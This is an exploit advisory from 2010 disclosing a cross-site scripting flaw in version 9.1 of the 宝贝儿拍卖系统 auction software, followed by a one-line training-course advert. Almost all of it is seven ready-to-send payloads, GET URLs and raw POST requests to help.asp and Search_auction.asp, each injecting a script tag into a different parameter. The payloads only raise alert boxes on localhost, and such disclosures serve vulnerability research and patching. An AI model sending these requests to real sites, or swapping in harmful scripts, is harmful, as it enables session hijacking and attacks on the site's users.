# Exploit Title: 宝贝儿拍卖系统v9.1跨站0day漏洞
# Date: 2010-4-25
# Author: riusksk(泉哥)
# Blog：http://riusksk.blogbus.com
# Tested on: [Windows 7 IIS + Firefox + Maxthon]
# Version：V9.1
# Download：http://cnbbr.com/downsoft.asp?softname=bbr
XSS:
=======================================0x01===============================================
http://127.0.0.1/help.asp?info_Name=1</title><script>alert(/riusksk/)</script>&searchBtns=%CB%D1%20%CB%F7&classid=1
=======================================0x02===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1><script>alert(/riusksk/)</script>&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x03===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1><script>alert(/riusksk/)</script>&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x04===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1&Place=1><script>alert(/riusksk/)</script>&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x05===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1><script>alert(/riusksk/)</script>&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1
=======================================0x06===============================================
POST /Search_auction.asp HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 127.0.0.1
Content-Length: 245
Cookie: bbr9%2Ecnbbr%2Ecom=BBR%5FSkinsPath=default;ASPSESSIONIDQQQQQCSQ=KOMNAMDBKJNCNNBAIHMIJJEF;BBRRndSellCode=;leftmenuli=listli1
Connection: Close
Pragma: no-cache
page=1&B4=%D7%AA%CF%F2&BBR_AucName=1&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&S1=0&S2=0&TPL_Prov=1&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1><script>alert(/riusksk/)</script>
=======================================0x07===============================================
http://127.0.0.1/Search_auction.asp?BBR_AucName=1&BBR_AucOwner=0&BBR_AucPrice_Small=0&BBR_AucPrice_Large=0&BBRPath=1><script>alert(/riusksk/)</script>&TPL_Prov=1&TPL_City=1&Place=1&BBR_AucOldNew=0&BBR_AucZhiFu=1&BBR_AucAvailDate=0&BBR_AucCloseDate=0&BBR_AucType=1&BBR_AucCom=0&BBR_AucOrder=0&DispInfoType=0&page=1
=======================================EOF================================================
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
